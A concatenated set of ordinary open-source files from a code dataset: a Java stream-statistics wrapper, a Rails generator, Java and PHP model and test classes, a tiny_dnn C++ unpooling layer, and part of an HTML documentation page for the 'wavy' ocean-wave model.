}, <IFormSelectOption[]>[]);
// backup entry and restore the selectedIndex by value afterwards again,
// because the position of the selected element might change
const bak = element.value || flatOptions[element.getSelectedIndex()];
let changed = true;
let newValue = bak;
// select last item from incoming `selection.range`
if (this.options.selectNewestByDefault) {
// find the first newest entries
const newOne = flatOptions.find((d) => !this.currentOptions || this.currentOptions.every((e) => e.value !== d.value));
if (newOne) {
newValue = newOne;
} else {
newValue = flatOptions[flatOptions.length - 1];
}
} else if (!reuseOld) {
newValue = flatOptions[flatOptions.length - 1];
// otherwise try to restore the backup
} else if (bak !== null) {
newValue = bak;
changed = false;
}
this.currentOptions = flatOptions;
element.updateOptionElements(options);
element.value = newValue;
// just show if there is more than one
element.setVisible(options.length > 1);
return changed;
}
/**
* change the selected value programmatically
*/
setSelection(value: any) {
const element = <IFormSelectElement>this.accessor(this.formID);
element.value = value;
}
}
| bsd-3-clause |
helderfpires/io-tools | easystream/src/main/java/com/gc/iotools/stream/os/inspection/StatsOutputStream.java | 3428 | package com.gc.iotools.stream.os.inspection;
/*
* Copyright (c) 2008, 2014 Gabriele Contini. This source code is released
* under the BSD License.
*/
import java.io.IOException;
import java.io.OutputStream;
import java.util.concurrent.TimeUnit;
import com.gc.iotools.stream.utils.StreamUtils;
/**
* <p>
* Gather some statistics on the <code>OutputStream</code> passed in the
* constructor.
* </p>
* <p>
* It can be used to read:
* <ul>
* <li>The size of the data written to the underlying stream.</li>
* <li>The time spent writing the bytes.</li>
* <li>The bandwidth of the underlying stream.</li>
* </ul>
* </p>
* <p>
* Full statistics are available after the stream has been fully processed (by
* other parts of the application), or after invoking the method
* {@linkplain #close()} while partial statistics are available on the fly.
* </p>
*
* @author dvd.smnt
* @since 1.2.6
* @version $Id$
*/
public class StatsOutputStream extends OutputStream {
private boolean closeCalled;
private final OutputStream innerOs;
private long size = 0;
private long time = 0;
/**
* Creates a new <code>SizeRecorderOutputStream</code> with the given
* destination stream.
*
* @param destination
* Destination stream where data are written.
*/
public StatsOutputStream(final OutputStream destination) {
this.innerOs = destination;
}
/** {@inheritDoc} */
@Override
public void close() throws IOException {
if (!this.closeCalled) {
this.closeCalled = true;
final long start = System.currentTimeMillis();
this.innerOs.close();
this.time += System.currentTimeMillis() - start;
}
}
/** {@inheritDoc} */
@Override
public void flush() throws IOException {
final long start = System.currentTimeMillis();
this.innerOs.flush();
this.time += System.currentTimeMillis() - start;
}
/**
* <p>
* Returns a string representation of the writing bit rate formatted with
* a convenient unit. The unit will change trying to keep not more than 3
* digits.
* </p>
*
* @return The bitRate of the stream.
* @since 1.2.2
*/
public String getBitRateString() {
return StreamUtils.getRateString(this.size, this.time);
}
/**
* Returns the number of bytes written until now.
*
* @return return the number of bytes written until now.
*/
public long getSize() {
return this.size;
}
/**
* <p>
* Returns the time spent waiting for the internal stream to write the
* data.
* </p>
*
* @param tu
* Unit to measure the time.
* @return time spent in waiting.
*/
public long getTime(final TimeUnit tu) {
return tu.convert(this.time, TimeUnit.MILLISECONDS);
}
/** {@inheritDoc} */
@Override
public void write(final byte[] b) throws IOException {
final long start = System.currentTimeMillis();
this.innerOs.write(b);
this.time += System.currentTimeMillis() - start;
this.size += b.length;
}
/** {@inheritDoc} */
@Override
public void write(final byte[] b, final int off, final int len)
throws IOException {
final long start = System.currentTimeMillis();
this.innerOs.write(b, off, len);
this.time += System.currentTimeMillis() - start;
this.size += len;
}
/** {@inheritDoc} */
@Override
public void write(final int b) throws IOException {
final long start = System.currentTimeMillis();
this.innerOs.write(b);
this.time += System.currentTimeMillis() - start;
this.size++;
}
}
| bsd-3-clause |
johndavid400/spree_suppliers | lib/generators/spree_suppliers/install/install_generator.rb | 1110 | module SpreeSuppliers
module Generators
class InstallGenerator < Rails::Generators::Base
include Rails::Generators::Migration
def add_javascripts
append_file "app/assets/javascripts/store/all.js", "//= require store/spree_suppliers\n"
append_file "app/assets/javascripts/admin/all.js", "//= require admin/spree_suppliers\n"
end
def add_stylesheets
inject_into_file "app/assets/stylesheets/store/all.css", " *= require store/spree_suppliers\n", :before => /\*\//, :verbose => true
inject_into_file "app/assets/stylesheets/admin/all.css", " *= require admin/spree_suppliers\n", :before => /\*\//, :verbose => true
end
def add_migrations
run 'bundle exec rake railties:install:migrations FROM=spree_suppliers'
end
def run_migrations
res = ask "Would you like to run the migrations now? [Y/n]"
if res == "" || res.downcase == "y"
run 'bundle exec rake db:migrate'
else
puts "Skiping rake db:migrate, don't forget to run it!"
end
end
end
end
end
| bsd-3-clause |
Technikradio/Node2 | src/tests/org/technikradio/node/tests/engine/SettingsPageTest.java | 2311 | /*
Copyright (c) 2016, Technikradio
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Node2 nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
*
*/
package org.technikradio.node.tests.engine;
import static org.junit.Assert.*;
import javax.swing.JPanel;
import org.junit.Before;
import org.junit.Test;
import org.technikradio.node.engine.plugin.settings.SettingsPage;
/**
* This is the test case for the settings page class
* @author doralitze
*
*/
public class SettingsPageTest {
private SettingsPage sp;
private JPanel jp;
/**
* @throws java.lang.Exception In case of an exception
*/
@Before
public void setUp() throws Exception {
sp = new SettingsPage("org.technikradio.node.tests.samplesettingspage");
jp = new JPanel();
sp.setPanel(jp);
}
/**
* Test method for {@link org.technikradio.node.engine.plugin.settings.SettingsPage#getPanel()}.
*/
@Test
public final void testGetPanel() {
assertEquals(jp, sp.getPanel());
}
}
| bsd-3-clause |
NCIP/caaers | caAERS/software/core/src/main/java/gov/nih/nci/cabig/caaers/validation/ValidationErrors.java | 1634 | /*******************************************************************************
* Copyright SemanticBits, Northwestern University and Akaza Research
*
* Distributed under the OSI-approved BSD 3-Clause License.
* See http://ncip.github.com/caaers/LICENSE.txt for details.
******************************************************************************/
package gov.nih.nci.cabig.caaers.validation;
import java.util.ArrayList;
import java.util.List;
import org.apache.commons.lang.StringUtils;
public class ValidationErrors {
List<ValidationError> errors;
public ValidationErrors() {
errors = new ArrayList<ValidationError>();
}
public ValidationError addValidationError(String code, String msg, Object... r1) {
ValidationError ve = new ValidationError(code, msg, r1);
errors.add(ve);
return ve;
}
public void addValidationErrors(List<ValidationError> errorList){
for(ValidationError e : errorList) errors.add(e);
}
public String toString() {
return errors.toString();
}
public int getErrorCount() {
return errors.size();
}
public boolean hasErrors() {
return errors.size() > 0;
}
public List<ValidationError> getErrors() {
return errors;
}
public ValidationError getErrorAt(int index) {
return errors.get(index);
}
public boolean containsErrorWithCode(String code){
for(ValidationError error : errors){
if(StringUtils.equals(error.getCode(),code)) return true;
}
return false;
}
}
| bsd-3-clause |
specialnote/myYii | common/models/FundSearch.php | 2090 | <?php
namespace common\models;
use Yii;
use yii\base\Model;
use yii\data\ActiveDataProvider;
use common\models\Fund;
/**
* FundSearch represents the model behind the search form about `common\models\Fund`.
*/
class FundSearch extends Fund
{
/**
* @inheritdoc
*/
public function rules()
{
return [
[['id', 'created_at', 'updated_at'], 'integer'],
[['name', 'num', 'date', 'week', 'month', 'quarter', 'year', 'three_year', 'all'], 'safe'],
];
}
/**
* @inheritdoc
*/
public function scenarios()
{
// bypass scenarios() implementation in the parent class
return Model::scenarios();
}
/**
* Creates data provider instance with search query applied
*
* @param array $params
*
* @return ActiveDataProvider
*/
public function search($params)
{
$query = Fund::find();
$dataProvider = new ActiveDataProvider([
'query' => $query,
'pagination' => ['pageSize' => 20],
]);
$this->load($params);
if (!$this->validate()) {
// uncomment the following line if you do not want to return any records when validation fails
// $query->where('0=1');
return $dataProvider;
}
$query->andFilterWhere([
'id' => $this->id,
'created_at' => $this->created_at,
'updated_at' => $this->updated_at,
]);
$query->andFilterWhere(['like', 'name', $this->name])
->andFilterWhere(['like', 'num', $this->num])
->andFilterWhere(['like', 'date', $this->date])
->andFilterWhere(['like', 'week', $this->week])
->andFilterWhere(['like', 'month', $this->month])
->andFilterWhere(['like', 'quarter', $this->quarter])
->andFilterWhere(['like', 'year', $this->year])
->andFilterWhere(['like', 'three_year', $this->three_year])
->andFilterWhere(['like', 'all', $this->all]);
return $dataProvider;
}
}
| bsd-3-clause |
zhangqianhui/tiny-cnn | tiny_dnn/layers/average_unpooling_layer.h | 11197 | /*
Copyright (c) 2013, Taiga Nomi
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the <organization> nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include <string>
#include <vector>
#include <algorithm>
#include "tiny_dnn/util/util.h"
#include "tiny_dnn/util/image.h"
#include "tiny_dnn/layers/partial_connected_layer.h"
#include "tiny_dnn/activations/activation_function.h"
namespace tiny_dnn {
// forward_propagation
template <typename Activation>
void tiny_average_unpooling_kernel(bool parallelize,
const std::vector<tensor_t*>& in_data,
std::vector<tensor_t*>& out_data,
const shape3d& out_dim,
float_t scale_factor,
std::vector<typename partial_connected_layer<Activation>::wi_connections>& out2wi,
Activation& h) {
for (size_t sample = 0; sample < in_data[0]->size(); sample++) {
const vec_t& in = (*in_data[0])[sample];
const vec_t& W = (*in_data[1])[0];
const vec_t& b = (*in_data[2])[0];
vec_t& out = (*out_data[0])[sample];
vec_t& a = (*out_data[1])[sample];
auto oarea = out_dim.area();
size_t idx = 0;
for (size_t d = 0; d < out_dim.depth_; ++d) {
float_t weight = W[d];// * scale_factor;
float_t bias = b[d];
for (size_t i = 0; i < oarea; ++i, ++idx) {
const auto& connections = out2wi[idx];
float_t value = float_t(0);
for (auto connection : connections)// 13.1%
value += in[connection.second]; // 3.2%
value *= weight;
value += bias;
a[idx] = value;
}
}
assert(out.size() == out2wi.size());
for_i(parallelize, out2wi.size(), [&](int i) {
out[i] = h.f(a, i);
});
}
}
// back_propagation
template<typename Activation>
void tiny_average_unpooling_back_kernel(const std::vector<tensor_t*>& in_data,
const std::vector<tensor_t*>& out_data,
std::vector<tensor_t*>& out_grad,
std::vector<tensor_t*>& in_grad,
const shape3d& in_dim,
float_t scale_factor,
std::vector<typename partial_connected_layer<Activation>::io_connections>& weight2io,
std::vector<typename partial_connected_layer<Activation>::wo_connections>& in2wo,
std::vector<std::vector<cnn_size_t>>& bias2out) {
for (size_t sample = 0; sample < in_data[0]->size(); sample++) {
const vec_t& prev_out = (*in_data[0])[sample];
const vec_t& W = (*in_data[1])[0];
vec_t& dW = (*in_grad[1])[sample];
vec_t& db = (*in_grad[2])[sample];
vec_t& prev_delta = (*in_grad[0])[sample];
vec_t& curr_delta = (*out_grad[0])[sample];
auto inarea = in_dim.area();
size_t idx = 0;
for (size_t i = 0; i < in_dim.depth_; ++i) {
float_t weight = W[i];// * scale_factor;
for (size_t j = 0; j < inarea; ++j, ++idx) {
prev_delta[idx] = weight * curr_delta[in2wo[idx][0].second];
}
}
for (size_t i = 0; i < weight2io.size(); ++i) {
const auto& connections = weight2io[i];
float_t diff = float_t(0);
for (auto connection : connections)
diff += prev_out[connection.first] * curr_delta[connection.second];
dW[i] += diff;// * scale_factor;
}
for (size_t i = 0; i < bias2out.size(); i++) {
const std::vector<cnn_size_t>& outs = bias2out[i];
float_t diff = float_t(0);
for (auto o : outs)
diff += curr_delta[o];
db[i] += diff;
}
}
}
/**
* average pooling with trainable weights
**/
template<typename Activation = activation::identity>
class average_unpooling_layer : public partial_connected_layer<Activation> {
public:
typedef partial_connected_layer<Activation> Base;
CNN_USE_LAYER_MEMBERS;
/**
* @param in_width [in] width of input image
* @param in_height [in] height of input image
* @param in_channels [in] the number of input image channels(depth)
* @param pooling_size [in] factor by which to upscale
**/
average_unpooling_layer(cnn_size_t in_width,
cnn_size_t in_height,
cnn_size_t in_channels,
cnn_size_t pooling_size)
: Base(in_width * in_height * in_channels,
in_width * in_height * in_channels * sqr(pooling_size),
in_channels, in_channels, float_t(1) * sqr(pooling_size)),
stride_(pooling_size),
in_(in_width, in_height, in_channels),
out_(in_width*pooling_size, in_height*pooling_size, in_channels),
w_(pooling_size, pooling_size, in_channels) {
init_connection(pooling_size);
}
/**
* @param in_width [in] width of input image
* @param in_height [in] height of input image
* @param in_channels [in] the number of input image channels(depth)
* @param pooling_size [in] factor by which to upscale
* @param stride [in] interval at which to apply the filters to the input
**/
average_unpooling_layer(cnn_size_t in_width,
cnn_size_t in_height,
cnn_size_t in_channels,
cnn_size_t pooling_size,
cnn_size_t stride)
: Base(in_width * in_height * in_channels,
unpool_out_dim(in_width, pooling_size, stride) *
unpool_out_dim(in_height, pooling_size, stride) * in_channels,
in_channels, in_channels, float_t(1) * sqr(pooling_size)),
stride_(stride),
in_(in_width, in_height, in_channels),
out_(unpool_out_dim(in_width, pooling_size, stride),
unpool_out_dim(in_height, pooling_size, stride), in_channels),
w_(pooling_size, pooling_size, in_channels) {
init_connection(pooling_size);
}
std::vector<index3d<cnn_size_t>> in_shape() const override {
return { in_, w_, index3d<cnn_size_t>(1, 1, out_.depth_) };
}
std::vector<index3d<cnn_size_t>> out_shape() const override {
return { out_, out_ };
}
std::string layer_type() const override { return "ave-unpool"; }
void forward_propagation(const std::vector<tensor_t*>& in_data,
std::vector<tensor_t*>& out_data) override {
tiny_average_unpooling_kernel<Activation>(
parallelize_,
in_data,
out_data,
out_,
Base::scale_factor_,
Base::out2wi_,
Base::h_);
}
void back_propagation(const std::vector<tensor_t*>& in_data,
const std::vector<tensor_t*>& out_data,
std::vector<tensor_t*>& out_grad,
std::vector<tensor_t*>& in_grad) override {
tensor_t& curr_delta = *out_grad[0];
this->backward_activation(*out_grad[0], *out_data[0], curr_delta);
tiny_average_unpooling_back_kernel<Activation>(
in_data,
out_data,
out_grad,
in_grad,
in_,
Base::scale_factor_,
Base::weight2io_,
Base::in2wo_,
Base::bias2out_);
}
private:
size_t stride_;
shape3d in_;
shape3d out_;
shape3d w_;
static cnn_size_t unpool_out_dim(cnn_size_t in_size,
cnn_size_t pooling_size,
cnn_size_t stride) {
return static_cast<int>((in_size-1) * stride + pooling_size);
}
void init_connection(cnn_size_t pooling_size) {
for (cnn_size_t c = 0; c < in_.depth_; ++c) {
for (cnn_size_t y = 0; y < in_.height_; ++y) {
for (cnn_size_t x = 0; x < in_.width_; ++x) {
connect_kernel(pooling_size, x, y, c);
}
}
}
for (cnn_size_t c = 0; c < in_.depth_; ++c) {
for (cnn_size_t y = 0; y < out_.height_; ++y) {
for (cnn_size_t x = 0; x < out_.width_; ++x) {
this->connect_bias(c, out_.get_index(x, y, c));
}
}
}
}
void connect_kernel(cnn_size_t pooling_size,
cnn_size_t x,
cnn_size_t y,
cnn_size_t inc) {
cnn_size_t dymax = std::min(pooling_size, out_.height_ - y);
cnn_size_t dxmax = std::min(pooling_size, out_.width_ - x);
cnn_size_t dstx = x * stride_;
cnn_size_t dsty = y * stride_;
cnn_size_t inidx = in_.get_index(x, y, inc);
for (cnn_size_t dy = 0; dy < dymax; ++dy) {
for (cnn_size_t dx = 0; dx < dxmax; ++dx) {
this->connect_weight(
inidx,
out_.get_index(dstx + dx, dsty + dy, inc),
inc);
}
}
}
};
} // namespace tiny_dnn
| bsd-3-clause |
wavebitscientific/wavy | docs/proc/le.html | 61899 | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="A spectral ocean wave modeling framework">
<meta name="author" content="Wavebit Scientific LLC" >
<link rel="icon" href="../favicon.png">
<title>le – wavy</title>
<link href="../css/bootstrap.min.css" rel="stylesheet">
<link href="../css/pygments.css" rel="stylesheet">
<link href="../css/font-awesome.min.css" rel="stylesheet">
<link href="../css/local.css" rel="stylesheet">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
<script src="../js/jquery-2.1.3.min.js"></script>
<script src="../js/svg-pan-zoom.min.js"></script>
<script src="../tipuesearch/tipuesearch_content.js"></script>
<link href="../tipuesearch/tipuesearch.css" rel="stylesheet">
<script src="../tipuesearch/tipuesearch_set.js"></script>
<script src="../tipuesearch/tipuesearch.js"></script>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="../index.html">wavy </a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="dropdown hidden-xs visible-sm visible-md hidden-lg">
<a href="#" class="dropdown-toggle"
data-toggle="dropdown" role="button"
aria-haspopup="true"
aria-expanded="false">Contents <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="../lists/files.html">Source Files</a></li>
<li><a href="../lists/modules.html">Modules</a></li>
<li><a href="../lists/procedures.html">Procedures</a></li>
<li><a href="../lists/types.html">Derived Types</a></li>
</ul>
</li>
<li class="visible-xs hidden-sm visible-lg"><a href="../lists/files.html">Source Files</a></li>
<li class="visible-xs hidden-sm visible-lg"><a href="../lists/modules.html">Modules</a></li>
<li class="visible-xs hidden-sm visible-lg"><a href="../lists/procedures.html">Procedures</a></li>
<li class="visible-xs hidden-sm visible-lg"><a href="../lists/types.html">Derived Types</a></li>
</ul>
<form action="../search.html" class="navbar-form navbar-right" role="search">
<div class="form-group">
<input type="text" class="form-control" placeholder="Search" name="q" id="tipue_search_input" autocomplete="off" required>
</div>
<!--
<button type="submit" class="btn btn-default">Submit</button>
-->
</form>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
<div class="row">
<h1>le
<small>Function</small>
</h1>
<div class="row">
<div class="col-lg-12">
<div class="well well-sm">
<ul class="list-inline" style="margin-bottom:0px;display:inline">
<li><i class="fa fa-list-ol"></i>
<a data-toggle="tooltip"
data-placement="bottom" data-html="true"
title=" 0.2% of total for procedures.">5 statements</a>
</li>
<li><i class="fa fa-code"></i><a href="../src/mod_spectrum.f90"> Source File</a></li>
</ul>
<ol class="breadcrumb in-well text-right">
<li><a href='../sourcefile/mod_spectrum.f90.html'>mod_spectrum.f90</a></li>
<li><a href='../module/mod_spectrum.html'>mod_spectrum</a></li>
<li class="active">le</li>
</ol>
</div>
</div>
</div>
<script>
$(function () {
$('[data-toggle="tooltip"]').tooltip()
})
</script>
</div>
<div class="row">
<div class="col-md-3 hidden-xs hidden-sm visible-md visible-lg">
<div id="sidebar">
<div class="panel panel-primary">
<div class="panel-heading text-left"><h3 class="panel-title">Source Code</h3></div>
<div class="list-group">
<a class="list-group-item" href="../proc/le.html#src">le</a>
</div>
</div>
<hr>
<div class="panel panel-default">
<div class="panel-heading text-left"><h3 class="panel-title"><a data-toggle="collapse" href="#allprocs-0">All Procedures</a></h3></div>
<div id="allprocs-0" class="panel-collapse collapse">
<div class="list-group">
<a class="list-group-item" href="../proc/advect1drank1.html">advect1dRank1</a>
<a class="list-group-item" href="../proc/advect1drank2.html">advect1dRank2</a>
<a class="list-group-item" href="../proc/advect2drank2.html">advect2dRank2</a>
<a class="list-group-item" href="../interface/advectcentered2ndorder.html">advectCentered2ndOrder</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder1drank0.html">advectCentered2ndOrder1dRank0</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder1drank1.html">advectCentered2ndOrder1dRank1</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder1drank2.html">advectCentered2ndOrder1dRank2</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder2drank0.html">advectCentered2ndOrder2dRank0</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder2drank1.html">advectCentered2ndOrder2dRank1</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder2drank2.html">advectCentered2ndOrder2dRank2</a>
<a class="list-group-item" href="../interface/advectupwind1storder.html">advectUpwind1stOrder</a>
<a class="list-group-item" href="../proc/advectupwind1storder1drank0.html">advectUpwind1stOrder1dRank0</a>
<a class="list-group-item" href="../proc/advectupwind1storder1drank1.html">advectUpwind1stOrder1dRank1</a>
<a class="list-group-item" href="../proc/advectupwind1storder1drank2.html">advectUpwind1stOrder1dRank2</a>
<a class="list-group-item" href="../proc/advectupwind1storder2drank0.html">advectUpwind1stOrder2dRank0</a>
<a class="list-group-item" href="../proc/advectupwind1storder2drank1.html">advectUpwind1stOrder2dRank1</a>
<a class="list-group-item" href="../proc/advectupwind1storder2drank2.html">advectUpwind1stOrder2dRank2</a>
<a class="list-group-item" href="../proc/assign_array_1d.html">assign_array_1d</a>
<a class="list-group-item" href="../proc/assign_array_2d.html">assign_array_2d</a>
<a class="list-group-item" href="../proc/assign_spectrum_array_1d.html">assign_spectrum_array_1d</a>
<a class="list-group-item" href="../proc/assign_spectrum_array_2d.html">assign_spectrum_array_2d</a>
<a class="list-group-item" href="../interface/backward_euler.html">backward_euler</a>
<a class="list-group-item" href="../proc/backward_euler_domain.html">backward_euler_domain</a>
<a class="list-group-item" href="../proc/backward_euler_spectrum.html">backward_euler_spectrum</a>
<a class="list-group-item" href="../proc/constructor.html">constructor</a>
<a class="list-group-item" href="../proc/constructor%7E2.html">constructor</a>
<a class="list-group-item" href="../proc/constructor_1d.html">constructor_1d</a>
<a class="list-group-item" href="../proc/constructor_2d.html">constructor_2d</a>
<a class="list-group-item" href="../interface/diff.html">diff</a>
<a class="list-group-item" href="../proc/diff_1d.html">diff_1d</a>
<a class="list-group-item" href="../proc/diff_2d.html">diff_2d</a>
<a class="list-group-item" href="../interface/diff_periodic.html">diff_periodic</a>
<a class="list-group-item" href="../proc/diff_periodic_1d.html">diff_periodic_1d</a>
<a class="list-group-item" href="../proc/diff_periodic_2d.html">diff_periodic_2d</a>
<a class="list-group-item" href="../proc/domain_add_domain.html">domain_add_domain</a>
<a class="list-group-item" href="../proc/domain_add_real.html">domain_add_real</a>
<a class="list-group-item" href="../proc/domain_div_domain.html">domain_div_domain</a>
<a class="list-group-item" href="../proc/domain_div_real.html">domain_div_real</a>
<a class="list-group-item" href="../proc/domain_mult_domain.html">domain_mult_domain</a>
<a class="list-group-item" href="../proc/domain_mult_real.html">domain_mult_real</a>
<a class="list-group-item" href="../proc/domain_sub_domain.html">domain_sub_domain</a>
<a class="list-group-item" href="../proc/domain_sub_real.html">domain_sub_real</a>
<a class="list-group-item" href="../interface/domain_type.html">domain_type</a>
<a class="list-group-item" href="../proc/domain_unary_minus.html">domain_unary_minus</a>
<a class="list-group-item" href="../proc/donelanhamiltonhui.html">donelanHamiltonHui</a>
<a class="list-group-item" href="../proc/donelanhamiltonhuidirectionalspectrum.html">donelanHamiltonHuiDirectionalSpectrum</a>
<a class="list-group-item" href="../proc/donelanhamiltonhuidirectionalspreading.html">donelanHamiltonHuiDirectionalSpreading</a>
<a class="list-group-item" href="../proc/elevation.html">elevation</a>
<a class="list-group-item" href="../proc/eq.html">eq</a>
<a class="list-group-item" href="../proc/eq%7E2.html">eq</a>
<a class="list-group-item" href="../interface/exact_exponential.html">exact_exponential</a>
<a class="list-group-item" href="../proc/exact_exponential_domain.html">exact_exponential_domain</a>
<a class="list-group-item" href="../proc/exact_exponential_spectrum.html">exact_exponential_spectrum</a>
<a class="list-group-item" href="../interface/forward_euler.html">forward_euler</a>
<a class="list-group-item" href="../proc/forward_euler_domain.html">forward_euler_domain</a>
<a class="list-group-item" href="../proc/forward_euler_spectrum.html">forward_euler_spectrum</a>
<a class="list-group-item" href="../proc/frequencymoment.html">frequencyMoment</a>
<a class="list-group-item" href="../proc/frequencymoment%7E2.html">frequencyMoment</a>
<a class="list-group-item" href="../proc/ge.html">ge</a>
<a class="list-group-item" href="../proc/getairdensity.html">getAirDensity</a>
<a class="list-group-item" href="../proc/getairdensity%7E2.html">getAirDensity</a>
<a class="list-group-item" href="../proc/getamplitude.html">getAmplitude</a>
<a class="list-group-item" href="../proc/getaxisx.html">getAxisX</a>
<a class="list-group-item" href="../proc/getaxisy.html">getAxisY</a>
<a class="list-group-item" href="../proc/getcurrent_u.html">getCurrent_u</a>
<a class="list-group-item" href="../proc/getcurrent_u%7E2.html">getCurrent_u</a>
<a class="list-group-item" href="../proc/getcurrent_v.html">getCurrent_v</a>
<a class="list-group-item" href="../proc/getcurrent_v%7E2.html">getCurrent_v</a>
<a class="list-group-item" href="../proc/getdepth.html">getDepth</a>
<a class="list-group-item" href="../proc/getdepth%7E2.html">getDepth</a>
<a class="list-group-item" href="../proc/getdepthlevels.html">getDepthLevels</a>
<a class="list-group-item" href="../proc/getdirections.html">getDirections</a>
<a class="list-group-item" href="../proc/getdirections%7E2.html">getDirections</a>
<a class="list-group-item" href="../proc/getdirections2d.html">getDirections2d</a>
<a class="list-group-item" href="../proc/getelevation.html">getElevation</a>
<a class="list-group-item" href="../proc/getelevation%7E2.html">getElevation</a>
<a class="list-group-item" href="../proc/getfrequency.html">getFrequency</a>
<a class="list-group-item" href="../proc/getfrequency%7E2.html">getFrequency</a>
<a class="list-group-item" href="../proc/getfrequency2d.html">getFrequency2d</a>
<a class="list-group-item" href="../proc/getgravity.html">getGravity</a>
<a class="list-group-item" href="../proc/getgravity%7E2.html">getGravity</a>
<a class="list-group-item" href="../proc/getgrid.html">getGrid</a>
<a class="list-group-item" href="../proc/getgridrotation.html">getGridRotation</a>
<a class="list-group-item" href="../proc/getgridspacingx.html">getGridSpacingX</a>
<a class="list-group-item" href="../proc/getgridspacingxwithhalo.html">getGridSpacingXWithHalo</a>
<a class="list-group-item" href="../proc/getgridspacingy.html">getGridSpacingY</a>
<a class="list-group-item" href="../proc/getgridspacingywithhalo.html">getGridSpacingYWithHalo</a>
<a class="list-group-item" href="../proc/getgroupspeed.html">getGroupSpeed</a>
<a class="list-group-item" href="../proc/getgroupspeed%7E2.html">getGroupSpeed</a>
<a class="list-group-item" href="../proc/getgroupspeed2d.html">getGroupSpeed2d</a>
<a class="list-group-item" href="../proc/getlatitude.html">getLatitude</a>
<a class="list-group-item" href="../proc/getlongitude.html">getLongitude</a>
<a class="list-group-item" href="../proc/getlowerbounds.html">getLowerBounds</a>
<a class="list-group-item" href="../proc/getlowerbounds%7E2.html">getLowerBounds</a>
<a class="list-group-item" href="../proc/getphasespeed.html">getPhaseSpeed</a>
<a class="list-group-item" href="../proc/getphasespeed%7E2.html">getPhaseSpeed</a>
<a class="list-group-item" href="../proc/getphasespeed2d.html">getPhaseSpeed2d</a>
<a class="list-group-item" href="../proc/getspectrum.html">getSpectrum</a>
<a class="list-group-item" href="../proc/getspectrum%7E2.html">getSpectrum</a>
<a class="list-group-item" href="../proc/getspectrumarray.html">getSpectrumArray</a>
<a class="list-group-item" href="../proc/getsurfacetension.html">getSurfaceTension</a>
<a class="list-group-item" href="../proc/getsurfacetension%7E2.html">getSurfaceTension</a>
<a class="list-group-item" href="../proc/getupperbounds.html">getUpperBounds</a>
<a class="list-group-item" href="../proc/getupperbounds%7E2.html">getUpperBounds</a>
